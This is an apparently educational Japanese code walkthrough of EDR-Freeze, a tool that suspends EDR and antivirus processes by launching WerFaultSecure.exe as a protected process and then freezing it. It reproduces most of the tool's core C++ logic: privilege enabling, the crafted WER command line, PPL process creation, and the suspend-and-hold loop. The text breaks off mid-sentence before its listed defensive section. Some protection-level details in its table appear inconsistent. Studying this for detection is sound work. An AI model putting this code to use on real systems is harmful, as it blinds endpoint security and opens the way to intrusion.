- 1. ツール概要と攻撃コンセプト
- 2. エントリポイント:wmain()
- 3. 権限昇格:EnableDebugPrivilege()
- 4. メインスレッドID取得:GetMainThreadId()
- 5. 攻撃オーケストレーション:FreezeRun()
- 6. PPLプロセス作成:CreatePPLProcess()
- 7. サスペンド状態の判定:IsProcessSuspendedByPID()
- 8. サスペンド監視とWerFaultSecure凍結:PauseCheck()
- 9. プロセスサスペンド:SuspendProcessByPID()
- 10. プロセス強制終了:TerminateProcessByPID()
- 11. 攻撃フロー全体のタイムライン図
- 12. 防御側の観点:検知・緩和策
- 13. コードの潜在的な問題点
- 14. 参考リファレンス一覧
1. ツール概要と攻撃コンセプト
EDR-Freezeは、Windows Error Reporting(WER)のセキュアダンプ収集プロセス WerFaultSecure.exe の正規動作を悪用し、EDR/アンチマルウェアプロセスをユーザーモードからサスペンドするツールである。
従来のEDR無効化手法であるBYOVD(Bring Your Own Vulnerable Driver)がカーネルモードドライバのロードを必要とし、HVCI(Hypervisor-Protected Code Integrity)やドライバブロックリストによって阻止されるリスクがあるのに対し、本ツールはカーネルドライバを一切使用せず、OS標準バイナリの正規機能を間接的に利用する点が根本的に異なる。
リファレンス:
- 作者(TwoSevenOneThree / Zero Salarium)による技術解説ブログ:
https://www.zerosalarium.com/2025/09/EDR-Freeze-Puts-EDRs-Antivirus-Into-Coma.html - GitHubリポジトリ:
https://github.com/TwoSevenOneT/EDR-Freeze - MITRE ATT&CK T1562.001 — Impair Defenses: Disable or Modify Tools:
https://attack.mitre.org/techniques/T1562/001/
1.1 攻撃の本質
WerFaultSecure.exeはクラッシュダンプ取得時にターゲットプロセスの全スレッドをサスペンドする。これはダンプの一貫性(consistency)を保証するためのOSの正規動作である。EDR-Freezeはこのサスペンド処理を意図的に発生させ、さらにWerFaultSecure自体をサスペンドすることでターゲットのレジューム処理を阻止し、EDRプロセスを任意時間停止させる。
リファレンス — WerFaultSecure.exeの正規動作とPPLでのダンプ処理:
- 「The Windows Process Journey — WerFaultSecure.exe」(Shlomi Boutnaru, Ph.D.):
https://medium.com/@boutnaru/the-windows-process-journey-werfaultsecure-exe-windows-fault-reporting-8895b048fc29- WerFaultSecure.exeがWERサービスから呼び出され、保護プロセスのクラッシュダンプを収集する役割を解説。WerFault.exeとの違い(暗号化ダンプ、PP/PPLレベルでの実行)を明確化。
- Google Project Zero「Injecting Code into Windows Protected Processes using COM — Part 1」(James Forshaw, 2018):
https://projectzero.google/2018/10/injecting-code-into-windows-protected.html- WerFaultSecure.exeがPP/PPL(WindowsTCBレベル)として実行可能であること、署名証明書のEKU OIDによるPPL起動許可メカニズムの詳細な解析。
1.2 ファイル構成と役割
| ファイル | 役割 |
|---|---|
EDR-Freeze.cpp |
エントリポイント(wmain)、攻撃オーケストレーション(FreezeRun)、サスペンド監視スレッド(PauseCheck) |
PPLHelp.h / PPLHelp.cpp |
PPL(Protected Process Light)プロセス作成クラス。WerFaultSecureをPPLとして起動する |
ProcessMisc.h / ProcessMisc.cpp |
プロセス操作ユーティリティ。権限昇格、スレッドID取得、サスペンド判定、プロセス制御 |
2. エントリポイント:wmain()
ファイル: EDR-Freeze.cpp 116〜148行目
int wmain(int argc, wchar_t* argv[]) { // ...バナー表示... if (argc != 3) { std::wcout << L"Usage:\n" << L" EDR-Freeze.exe <TargetPID> <SleepTime>\n\n" // ... return 0; } DWORD targetPid = _wtoi(argv[1]); DWORD pauseTime = _wtoi(argv[2]);
コマンドライン引数として ターゲットPID(凍結対象のEDRプロセスID)と SleepTime(凍結維持時間、ミリ秒)を受け取る。_wtoi() でワイド文字列から整数に変換している。wmain を使用しているのは、プロジェクト全体がUnicodeビルド(/DUNICODE /D_UNICODE)で構成されているためである。
2.1 SeDebugPrivilegeの有効化
if (!EnableDebugPrivilege()) { std::wcerr << L"Failed to enable debug privilege.\n"; return 0; }
後続の全操作の前提条件として SeDebugPrivilege を有効化する。この呼び出しが失敗した場合、以降の OpenProcess が ACCESS_DENIED で失敗するため、ここで早期リターンする。詳細は後述のセクション3で解説する。
2.2 メインスレッドID取得とFreezeRun呼び出し
DWORD targetTid = GetMainThreadId(targetPid); if (targetTid == 0) { std::wcerr << L"Failed to find main thread for PID " << targetPid << L"\n"; return 0; } FreezeRun(targetPid, targetTid, pauseTime);
WerFaultSecureの /tid 引数にはターゲットプロセスのスレッドIDが必要である。GetMainThreadId() でこれを取得し、攻撃本体である FreezeRun() に渡す。
3. 権限昇格:EnableDebugPrivilege()
ファイル: ProcessMisc.cpp 11〜57行目
この関数は現在のプロセストークンに SeDebugPrivilege を付与する。この特権により、本ツールは自身が所有者でない任意のプロセスに対して PROCESS_SUSPEND_RESUME や PROCESS_TERMINATE アクセス権でハンドルを取得できるようになる。
リファレンス — SeDebugPrivilegeとトークン操作:
- 公式Microsoft「Enabling and Disabling Privileges in C++」:
https://learn.microsoft.com/en-us/windows/win32/secauthz/enabling-and-disabling-privileges-in-c--OpenProcessToken→LookupPrivilegeValue→AdjustTokenPrivilegesのコード例を含む公式リファレンス。SE_PRIVILEGE_ENABLEDの設定手順とERROR_NOT_ALL_ASSIGNEDのエラーハンドリング。
- 公式Microsoft「Process Security and Access Rights」:
https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rightsPROCESS_SUSPEND_RESUME、PROCESS_TERMINATE、PROCESS_QUERY_LIMITED_INFORMATION等のアクセス権定義と、保護プロセスに対するアクセス制限の詳細。PPLプロセスに対して許可される最小限のアクセス権が明記されている。
3.1 トークン取得
bool EnableDebugPrivilege() { HANDLE hToken = nullptr; TOKEN_PRIVILEGES tp = {}; LUID luid; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { std::wcerr << L"OpenProcessToken failed: " << GetLastError() << L"\n"; return false; }
OpenProcessToken で現在のプロセスのアクセストークンを TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY 権限で開く。TOKEN_ADJUST_PRIVILEGES は特権の有効化/無効化に必要であり、TOKEN_QUERY は現在の特権状態の問い合わせに必要である。
前提条件: 本ツールは管理者権限(Elevated)で実行される必要がある。標準ユーザートークンには SeDebugPrivilege が含まれないため、AdjustTokenPrivileges は成功してもこの特権は有効化されない。
3.2 LUID取得と特権有効化
if (!LookupPrivilegeValueW(nullptr, SE_DEBUG_NAME, &luid)) { // ...エラー処理... } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), nullptr, nullptr)) { // ...エラー処理... }
LookupPrivilegeValueW で SE_DEBUG_NAME(= "SeDebugPrivilege" のマクロ)に対応するLUID(ローカル一意識別子)を取得する。LUIDはシステムごとに異なる可能性があるため、ハードコードせずに動的に取得する必要がある。
AdjustTokenPrivileges でトークン内の該当特権を SE_PRIVILEGE_ENABLED に変更する。
なぜSeDebugPrivilegeが必要か: Windows のアクセス制御モデルでは、他のユーザーが所有するプロセスや、SYSTEM権限で動作するサービスプロセス(EDRの多くがこれに該当)に対して OpenProcess でハンドルを取得するには、DACLチェックをバイパスする SeDebugPrivilege が必要となる。この特権がないと、後続の SuspendProcessByPID() や TerminateProcessByPID() で OpenProcess が失敗する。
3.3 成功確認
CloseHandle(hToken); if (GetLastError() == ERROR_SUCCESS) { std::wcout << L"SeDebugPrivilege enabled successfully.\n"; return true; }
AdjustTokenPrivileges は「要求された特権の一部が有効化できなかった」場合でも TRUE を返す仕様であるため、GetLastError() で ERROR_SUCCESS を確認して本当に成功したかを検証している。ERROR_NOT_ALL_ASSIGNED が返る場合、トークンに SeDebugPrivilege が含まれていない(=管理者権限で実行されていない)ことを意味する。
4. メインスレッドID取得:GetMainThreadId()
ファイル: ProcessMisc.cpp 59〜103行目
この関数はターゲットプロセスのメインスレッドのIDを取得する。WerFaultSecureの /tid パラメータに渡す値として必要である。
リファレンス — NtQuerySystemInformationとプロセス/スレッド情報:
- 公式Microsoft「NtQuerySystemInformation function」:
https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation - Geoff Chappell「SYSTEM_PROCESS_INFORMATION」:
https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/process.htm- 構造体の全フィールド詳細、スレッド情報配列のメモリレイアウト、
NextEntryOffsetによるリンクリスト構造、バージョン間の差異を網羅的に解析した非公式リファレンス。
- 構造体の全フィールド詳細、スレッド情報配列のメモリレイアウト、
- 公式Microsoft「SYSTEM_THREAD_INFORMATION」(MS-TSTS プロトコル仕様):
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsts/e82d73e4-cedb-4077-9099-d58f3459722fThreadState、WaitReasonを含むスレッド情報構造体の公式定義。各フィールドのサイズと意味が規定されている。
4.1 NtQuerySystemInformationの動的解決
DWORD GetMainThreadId(DWORD pid) { ULONG bufferSize = 0x10000; PVOID buffer = nullptr; NTSTATUS status; PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
NtQuerySystemInformation はntdll.dllのネイティブAPI(undocumented API)であり、Win32 APIではなくNTカーネルインターフェースに属する。GetProcAddress で動的にアドレスを解決している理由は、このAPIがWindows SDKのヘッダで公式には宣言されていないためである。ヘッダ ProcessMisc.h では関数ポインタ型 PNtQuerySystemInformation を独自に定義している(68〜73行目)。
なぜWin32 API(CreateToolhelp32Snapshot等)ではなくネイティブAPIを使うか: NtQuerySystemInformation は SystemProcessInformation クラスを指定することで、全プロセスとその全スレッドの状態情報(スレッドID、スレッド状態、待機理由など)を一度の呼び出しで取得できる。後述の IsProcessSuspendedByPID() でもこのスレッド状態情報が必要であり、同じAPIで統一的に処理できる。
4.2 動的バッファ確保と再試行ループ
do { buffer = VirtualAlloc(nullptr, bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!buffer) return 0; status = NtQuerySystemInformation(SystemProcessInformation, buffer, bufferSize, nullptr); if (status == STATUS_INFO_LENGTH_MISMATCH) { VirtualFree(buffer, 0, MEM_RELEASE); bufferSize *= 2; } } while (status == STATUS_INFO_LENGTH_MISMATCH);
NtQuerySystemInformation は、提供されたバッファが不足している場合 STATUS_INFO_LENGTH_MISMATCH (0xC0000004) を返す。プロセス情報はシステム全体のプロセス・スレッド数に依存して動的にサイズが変わるため、初期バッファ(0x10000 = 64KB)で不足した場合、バッファサイズを倍増させて再試行する。VirtualAlloc を使っているのは大きなメモリブロックを確保するためで、malloc でも機能的には同じだが、ページ単位のアライメントが保証される。
4.3 プロセス情報のリンクリスト走査
auto spi = (MY_SYSTEM_PROCESS_INFORMATION*)buffer; while (true) { if ((DWORD)(ULONG_PTR)spi->UniqueProcessId == pid) { if (spi->NumberOfThreads > 0) { mainThreadId = (DWORD)(ULONG_PTR)spi->Threads[0].ClientId.UniqueThread; } break; } if (spi->NextEntryOffset == 0) break; spi = (MY_SYSTEM_PROCESS_INFORMATION*)((BYTE*)spi + spi->NextEntryOffset); }
SystemProcessInformation が返すデータは、MY_SYSTEM_PROCESS_INFORMATION 構造体のリンクリストである。各エントリの NextEntryOffset フィールドが次のエントリへのバイトオフセットを示し、0の場合はリスト終端を意味する。
UniqueProcessId がターゲットPIDと一致するエントリを見つけたら、Threads[0].ClientId.UniqueThread からメインスレッドIDを取得する。Threads は可変長配列で、MY_SYSTEM_PROCESS_INFORMATION 構造体の末尾に NumberOfThreads 個分のスレッド情報が続く。Threads[0] は通常、プロセスのメインスレッド(最初に作成されたスレッド)に対応する。
MY_SYSTEM_PROCESS_INFORMATION を独自定義している理由: Windowsの公式ヘッダ winternl.h には SYSTEM_PROCESS_INFORMATION が定義されているが、スレッド情報の詳細フィールド(ThreadState、WaitReasonなど)が省略されている場合がある。本ツールでは IsProcessSuspendedByPID() でこれらのフィールドを参照する必要があるため、ProcessMisc.h 19〜66行目で完全な構造体定義 MY_SYSTEM_PROCESS_INFORMATION / MY_SYSTEM_THREAD_INFORMATION を独自に定義している。
5. 攻撃オーケストレーション:FreezeRun()
ファイル: EDR-Freeze.cpp 27〜113行目
攻撃の全体フローを制御する中核関数である。
5.1 継承可能ハンドルの作成
BOOL FreezeRun(DWORD targetPID, DWORD targetTID, DWORD sleepTime) { SECURITY_ATTRIBUTES sa = {}; sa.nLength = sizeof(sa); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = nullptr; std::wstring dumpFileName = L"dump_" + std::to_wstring(targetPID) + L".txt"; HANDLE hEncDump = CreateFileW(dumpFileName.c_str(), GENERIC_WRITE, 0, &sa, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr); // ... HANDLE hCancel = CreateEventW(&sa, TRUE, FALSE, nullptr);
SECURITY_ATTRIBUTES.bInheritHandle = TRUE の意義: Windowsのプロセス間ハンドル継承メカニズムでは、子プロセス作成時に bInheritHandles = TRUE が指定された場合、親プロセスのハンドルテーブル内で bInheritHandle = TRUE としてマークされたハンドルが子プロセスに複製される。複製されたハンドルは子プロセス内で同じ数値を持つため、コマンドライン引数としてハンドル値を渡すことで子プロセスがそのハンドルを使用できる。
リファレンス — ハンドル継承とCreateProcessW:
- 公式Microsoft「CreateProcessW function」:
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocesswbInheritHandlesパラメータの詳細説明。PPLプロセスとのハンドル継承制限(PROCESS_DUP_HANDLEが非PPL→PPL間で不許可)についての注記を含む。
ここで作成される2つのハンドルは以下の目的を持つ:
hEncDump(ダンプファイルハンドル): WerFaultSecureがダンプデータを書き込む先のファイルハンドル。攻撃目的としてはダンプデータは不要だが、WerFaultSecureのコマンドラインインターフェースが /encfile パラメータを必須引数として要求するため、正当なハンドルを渡す必要がある。
hCancel(キャンセルイベント): マニュアルリセットイベント(CreateEventW の第2引数 TRUE)で、初期状態は非シグナル(第3引数 FALSE)。WerFaultSecureはこのイベントを定期的にチェックし、シグナル状態であればダンプ処理を中断する設計になっている。本ツールではこのイベントを意図的にシグナルしないことで、WerFaultSecureがダンプ処理を継続し続けるようにしている。
5.2 WerFaultSecureのコマンドライン組み立て
std::wstring werPath = L"C:\\Windows\\System32\\WerFaultSecure.exe"; std::wstringstream cmd; cmd << werPath << L" /h" << L" /pid " << targetPID << L" /tid " << targetTID << L" /encfile " << HandleToDecimal(hEncDump) << L" /cancel " << HandleToDecimal(hCancel) << L" /type 268310";
各パラメータの意味:
| パラメータ | 値 | 意味 |
|---|---|---|
/h |
(フラグ) | ハングダンプモード。プロセスが「応答なし」状態であることを前提としたダンプ取得を指示する。通常のクラッシュダンプと異なり、アプリケーション側からの応答を待たずにダンプを開始する |
/pid |
ターゲットPID | ダンプ取得対象のプロセスID |
/tid |
ターゲットTID | ダンプ取得対象の起点となるスレッドID |
/encfile |
ハンドル値(10進数) | ダンプデータの書き込み先ファイルハンドル。ハンドル継承により子プロセスが使用可能 |
/cancel |
ハンドル値(10進数) | キャンセルイベントのハンドル。シグナルされるとダンプを中断する |
/type |
268310 | ダンプの種類を指定するフラグ。フルメモリダンプに相当する値 |
リファレンス — WerFaultSecureのコマンドライン引数:
- Zero Salarium原著ブログ(既出URL)にて、WerFaultSecureのリバースエンジニアリングによるパラメータ解析を解説。同著者によるLSASSダンプツール「WSASS」の開発過程で取得された情報である。
- 「The Windows Process Journey — WerFaultSecure.exe」(既出Medium記事)にて、WerFaultSecure.exeの暗号化ダンプ動作(非対称暗号でMicrosoftのみ復号可能)の仕組みを解説。
HandleToDecimal() について(ProcessMisc.cpp 4〜9行目):
std::wstring HandleToDecimal(HANDLE h) { std::wstringstream ss; ss << reinterpret_cast<UINT_PTR>(h); return ss.str(); }
HANDLEはポインタサイズの不透明な値であり、reinterpret_cast<UINT_PTR> で整数値に変換し、10進文字列としてコマンドラインに埋め込む。子プロセスはこの数値をHANDLE値として直接使用できる(ハンドル継承によって同じ値が有効)。
5.3 PPLプロセスとしてWerFaultSecureを起動
PPLProcessCreator creator;
DWORD werPID = creator.CreatePPLProcess(0, commandLine);
引数 0 は PROTECTION_LEVEL_WINTCB(Windows Trusted Computer Base)を意味する。これはPPL保護レベルの最上位であり、他のすべての保護レベル(ANTIMALWARE_LIGHT、WINDOWS_LIGHT 等)を持つプロセスに対して操作権限を持つ。詳細はセクション6で解説する。
5.4 サスペンド監視スレッドの起動
PauseCheckParams* params = new PauseCheckParams{ targetPID, werPID }; HANDLE hThread = CreateThread( nullptr, 0, PauseCheck, params, 0, nullptr );
PauseCheck 関数を別スレッドで実行する。この関数はターゲットプロセスがサスペンドされるのをスピンループで待機し、検知した瞬間にWerFaultSecure自体をサスペンドする(セクション8で詳述)。
なぜ別スレッドが必要か: メインスレッドは Sleep(sleepTime) で凍結時間を制御する必要がある。一方、ターゲットのサスペンド検知→WerFaultSecureのサスペンドは可能な限り迅速に行う必要がある(遅延するとWerFaultSecureがダンプを完了してターゲットをレジュームしてしまう)。これらは並行して実行される必要があるため、別スレッドで処理する。
5.5 タイマー制御と終了処理
Sleep(sleepTime); if (TerminateProcessByPID(werPID)) { std::wcout << L"Kill WER successfully. PID: " << werPID << std::endl; } // ...クリーンアップ...
Sleep(sleepTime) で指定時間だけメインスレッドを停止する。この間、ターゲットプロセスはサスペンド状態のままである。
Sleep 完了後、TerminateProcessByPID() でWerFaultSecureを強制終了する。WerFaultSecureが終了すると、ダンプ処理のためにサスペンドされていたターゲットプロセスのスレッドはカーネルによって自動的にレジュームされる。
6. PPLプロセス作成:CreatePPLProcess()
ファイル: PPLHelp.cpp 43〜123行目
このメソッドがEDR-Freezeの技術的核心であり、WerFaultSecure.exeをPPL保護付きプロセスとして起動する。
6.1 PPL(Protected Process Light)の背景
Windows 8.1以降、Microsoftはプロセス保護モデルとしてPPLを導入した。PPLプロセスは、自身と同等以上の保護レベルを持つプロセスからしかアクセスされないようカーネルが強制する仕組みである。Windows DefenderやサードパーティEDRのコアプロセスは PROTECTION_LEVEL_ANTIMALWARE_LIGHT として動作しており、通常のユーザーモードプロセスからは OpenProcess による操作が拒否される。
リファレンス — PPL保護モデル:
- 公式Microsoft「Protecting anti-malware services」:
https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-- Windows 8.1で導入された保護サービスの概念、ELAM(Early Launch Anti-Malware)ドライバとの連携、PPLとしてサービスを起動するための要件(証明書署名、EKU OID)、
CREATE_PROTECTED_PROCESSフラグの使用方法を含む公式ガイドライン。
- Windows 8.1で導入された保護サービスの概念、ELAM(Early Launch Anti-Malware)ドライバとの連携、PPLとしてサービスを起動するための要件(証明書署名、EKU OID)、
- 公式Microsoft「PROCESS_PROTECTION_LEVEL_INFORMATION structure」:
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_protection_level_informationProtectionLevelフィールドの値定義(PROTECTION_LEVEL_WINTCB_LIGHT、PROTECTION_LEVEL_WINDOWS、PROTECTION_LEVEL_ANTIMALWARE_LIGHT等)。GetProcessInformationのProcessProtectionLevelInfoクラスで使用される構造体。
- Google Project Zero「Injecting Code into Windows Protected Processes using COM — Part 2」(James Forshaw, 2018):
https://projectzero.google/2018/11/injecting-code-into-windows-protected.html- WerFaultSecure.exeのPPL/WindowsTCBレベルでの実行、DLLハイジャックによるコード注入、PPL保護モデルの設計上の限界を詳述。管理者権限を持つ非PPプロセスからPPプロセスのメモリを間接的に読み取る手法(ページングの悪用)を解説。
保護レベルの階層(高→低)は以下の通り:
| レベル | 値 | 用途 |
|---|---|---|
| WinTcb | 0 | Windowsカーネルコンポーネント(最上位) |
| Windows | 1 | Windows署名サービス |
| WinTcb-Light | 4 | 軽量カーネルコンポーネント |
| Windows-Light | 5 | 軽量Windowsサービス |
| Antimalware-Light | 3 | EDR/アンチマルウェア |
| LSA-Light | 6 | LSA保護 |
本ツールでは保護レベル 0(WinTcb)を指定してWerFaultSecureを起動するため、ANTIMALWARE_LIGHT レベルで保護されたEDRプロセスに対しても操作権限を持つ。
6.2 属性リストの初期化
DWORD PPLProcessCreator::CreatePPLProcess(DWORD protectionLevel, std::wstring& commandLine) { SIZE_T size = 0; STARTUPINFOEXW siex = { 0 }; siex.StartupInfo.cb = sizeof(siex); PROCESS_INFORMATION pi = { 0 }; LPPROC_THREAD_ATTRIBUTE_LIST ptal = nullptr; if (!InitializeProcThreadAttributeList(nullptr, 1, 0, &size) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) { // ...エラー処理... } ptal = reinterpret_cast<LPPROC_THREAD_ATTRIBUTE_LIST>(HeapAlloc(GetProcessHeap(), 0, size)); if (!InitializeProcThreadAttributeList(ptal, 1, 0, &size)) { // ...エラー処理... }
InitializeProcThreadAttributeList を2回呼び出すパターンは、Win32 APIの一般的なイディオムである。1回目は nullptr を渡して必要なバッファサイズを取得し(戻り値は FALSE だが GetLastError() が ERROR_INSUFFICIENT_BUFFER であれば正常)、2回目で実際にバッファを初期化する。引数の 1 は属性の数(ここでは PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL の1つのみ)を指定している。
6.3 保護レベル属性の設定
if (!UpdateProcThreadAttribute(ptal, 0, PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, &protectionLevel, sizeof(protectionLevel), nullptr, nullptr)) { // ...エラー処理... } siex.lpAttributeList = ptal;
UpdateProcThreadAttribute で属性リストに PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL 属性を追加する。protectionLevel は呼び出し元から 0(= PROTECTION_LEVEL_WINTCB)として渡されている。
この属性は CreateProcessW に対して、作成するプロセスにPPL保護を適用するよう指示するものである。ただし、対象バイナリ(WerFaultSecure.exe)がMicrosoftの適切な証明書で署名されていなければ、カーネルがこの要求を拒否する。
リファレンス — UpdateProcThreadAttribute:
- 公式Microsoft「UpdateProcThreadAttribute function」:
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattributePROC_THREAD_ATTRIBUTE_PROTECTION_LEVELを含む全属性の一覧、InitializeProcThreadAttributeListとの連携パターン、属性リストのメモリ管理。
6.4 CreateProcessWの呼び出し
if (!CreateProcessW( nullptr, // lpApplicationName (LPWSTR)commandLine.c_str(), // lpCommandLine nullptr, // lpProcessAttributes nullptr, // lpThreadAttributes TRUE, // bInheritHandles ★ EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS, // dwCreationFlags ★ nullptr, // lpEnvironment nullptr, // lpCurrentDirectory &siex.StartupInfo, // lpStartupInfo &pi)) // lpProcessInformation
注目すべきパラメータ:
bInheritHandles = TRUE: これにより、親プロセスで bInheritHandle = TRUE としてマークされたハンドル(前述の hEncDump、hCancel)が子プロセス(WerFaultSecure)のハンドルテーブルに複製される。WerFaultSecureはコマンドラインで渡されたハンドル値を使って、これらのカーネルオブジェクトにアクセスする。
EXTENDED_STARTUPINFO_PRESENT: STARTUPINFOEXW(拡張スタートアップ情報)を使用していることを示すフラグ。属性リスト(ptal)は STARTUPINFOEXW.lpAttributeList 経由で渡される。
CREATE_PROTECTED_PROCESS: プロセスをPPL(Protected Process)として作成するフラグ。このフラグと属性リストの PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL が組み合わさることで、指定した保護レベルでプロセスが起動される。
なぜ非PPLプロセスからPPLプロセスを作成できるか: CREATE_PROTECTED_PROCESS によるPPLプロセスの作成は、呼び出し元プロセスの保護レベルではなく、対象バイナリの署名とマニフェストによって許可が判断される。WerFaultSecure.exeはMicrosoftのWindows署名済みバイナリであり、PPLとして起動可能なマニフェスト属性を持っている。したがって、管理者権限を持つ通常の(非PPL)プロセスからでもPPLとして起動できる。これがこのツールの根本的な脆弱性利用ポイントである。
リファレンス — PPL作成の仕組み:
- 公式Microsoft「CreateProcessW function」(既出URL):
CREATE_PROTECTED_PROCESSフラグの説明。dwCreationFlagsパラメータの全フラグ定義。
- 同著者による先行ツール「CreateProcessAsPPL」:
https://github.com/TwoSevenOneT/CreateProcessAsPPL- PPL保護レベル付きプロセスの作成手法を実装したユーティリティ。EDR-Freezeの技術基盤。
6.5 保護レベルの確認
m_hProcess = pi.hProcess;
m_hThread = pi.hThread;
std::wcout << L"Successfully created PPL process with PID: " << pi.dwProcessId << std::endl;
std::wcerr << L"Protection level: "
<< GetPPLProtectionLevelName(GetPPLProtectionLevel(pi.dwProcessId)) << std::endl;
return pi.dwProcessId;
作成されたプロセスの保護レベルを GetPPLProtectionLevel() で問い合わせ、実際にPPLとして起動されたことを確認している。
6.6 GetPPLProtectionLevel()による検証
ファイル: PPLHelp.cpp 3〜23行目
DWORD PPLProcessCreator::GetPPLProtectionLevel(DWORD processId) { HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId); if (hProcess) { PROCESS_PROTECTION_LEVEL_INFORMATION protectionInfo; if (GetProcessInformation(hProcess, ProcessProtectionLevelInfo, &protectionInfo, sizeof(protectionInfo))) { protectionLevel = protectionInfo.ProtectionLevel; } CloseHandle(hProcess); } return protectionLevel; }
PROCESS_QUERY_LIMITED_INFORMATION はPPLプロセスに対しても取得可能な最小限のアクセス権である(PPL保護の制限を受けない)。GetProcessInformation の ProcessProtectionLevelInfo クラスで保護レベルを問い合わせ、PROTECTION_LEVEL_WINTCB_LIGHT 等の値が返ることを確認する。
7. サスペンド状態の判定:IsProcessSuspendedByPID()
ファイル: ProcessMisc.cpp 105〜160行目
この関数はターゲットプロセスの全スレッドがサスペンド状態になったかどうかを判定する。
7.1 判定ロジック
BOOL IsProcessSuspendedByPID(DWORD pid) { // ...NtQuerySystemInformation呼び出し(GetMainThreadIdと同様のパターン)... while (true) { if ((DWORD)(ULONG_PTR)spi->UniqueProcessId == pid) { if (spi->NumberOfThreads == 0) return FALSE; PSYSTEM_THREAD_INFORMATION threadInfo = (PSYSTEM_THREAD_INFORMATION)((PBYTE)spi + sizeof(SYSTEM_PROCESS_INFORMATION)); for (ULONG i = 0; i < spi->NumberOfThreads; ++i) { if (threadInfo[i].ThreadState != StateWait || threadInfo[i].WaitReason != Suspended) { return FALSE; } } return TRUE;
各スレッドの ThreadState と WaitReason を検査する。全スレッドが以下の条件を満たす場合にサスペンド状態と判定する:
| フィールド | 値 | 定数定義(ProcessMisc.h 84〜85行目) | 意味 |
|---|---|---|---|
ThreadState |
5 | #define StateWait 5 |
スレッドがWait状態にある |
WaitReason |
5 | #define Suspended 5 |
Wait理由がSuspended(明示的サスペンド)である |
StateWait と Suspended の区別: Windowsカーネルのスレッドスケジューラにおいて、スレッドは複数の状態を持つ(Running、Ready、Waiting等)。Waiting状態のスレッドはさらに WaitReason によって「なぜ待機しているか」が区別される。WaitReason == Suspended は NtSuspendThread や同等のAPIによって明示的にサスペンドされたことを示す。I/O待ちやイベント待ちとは異なる。
リファレンス — ThreadStateとWaitReasonの値定義:
- 公式Microsoft「Win32_Thread class」:
https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/win32-thread- WMI経由で取得可能なスレッド状態(
ThreadState)と待機理由(ThreadWaitReason)の列挙値定義。ThreadState = 5(Wait)、ThreadWaitReason = 5(Suspended)の正式な意味を含む。
- WMI経由で取得可能なスレッド状態(
- 公式Microsoft「ThreadWaitReason Enum」:
https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.threadwaitreason?view=net-9.0- .NETの
System.Diagnostics.ThreadWaitReason列挙体。Suspended = 5がスレッドの明示的サスペンドを意味することを確認可能。
- .NETの
- 公式Microsoft「SYSTEM_THREAD_INFORMATION」(MS-TSTS)(既出URL):
- ネイティブAPIレベルでの構造体定義。
ThreadStateとWaitReasonのフィールド位置とサイズ。
- ネイティブAPIレベルでの構造体定義。
WerFaultSecureがダンプ取得のためにターゲットプロセスのスレッドをサスペンドすると、全スレッドがこの状態になる。IsProcessSuspendedByPID はこの状態遷移を検知するために使用される。
7.2 スレッド情報配列のアクセス方法
PSYSTEM_THREAD_INFORMATION threadInfo =
(PSYSTEM_THREAD_INFORMATION)((PBYTE)spi + sizeof(SYSTEM_PROCESS_INFORMATION));
ここでは MY_SYSTEM_PROCESS_INFORMATION ではなく標準ヘッダの SYSTEM_PROCESS_INFORMATION のサイズを使ってオフセット計算している点に注意。SYSTEM_PROCESS_INFORMATION 構造体の直後にスレッド情報配列が連続して配置されるというカーネルのメモリレイアウトに依存した実装である。
8. サスペンド監視とWerFaultSecure凍結:PauseCheck()
ファイル: EDR-Freeze.cpp 6〜26行目
struct PauseCheckParams { DWORD targetPID; DWORD werPID; }; DWORD WINAPI PauseCheck(LPVOID lpParam) { PauseCheckParams* params = static_cast<PauseCheckParams*>(lpParam); DWORD targetPID = params->targetPID; DWORD werPID = params->werPID; while (!IsProcessSuspendedByPID(targetPID)) { continue; } // target paused, now pause WerFault to keep target freeze if (SuspendProcessByPID(werPID)) { std::wcout << L"WER paused. PID: " << targetPID << std::endl; } return 0; }
8.1 スピンループによるポーリング
while (!IsProcessSuspendedByPID(targetPID)) { continue; } は典型的なビジーウェイト(スピンループ)である。各反復で NtQuerySystemInformation が呼ばれ、ターゲットの全スレッドのサスペンド完了を検知する。
なぜイベントベースの通知ではなくスピンループか: WerFaultSecureがターゲットをサスペンドするタイミングを外部から通知するAPIは存在しない。カーネルコールバックやETWイベントを使う方法もあるが、ユーザーモードからの最も単純な検知方法がポーリングである。スピンループはCPU負荷が高いが、WerFaultSecureがターゲットをサスペンドするまでの時間は通常非常に短い(ミリ秒オーダー)ため、実用上の問題は小さい。
8.2 タイミングクリティカルなWerFaultSecureのサスペンド
IsProcessSuspendedByPID がTRUEを返した瞬間、SuspendProcessByPID(werPID) でWerFaultSecure自体をサスペンドする。
なぜこのタイミングが重要か: WerFaultSecureの内部フローは以下の通りである:
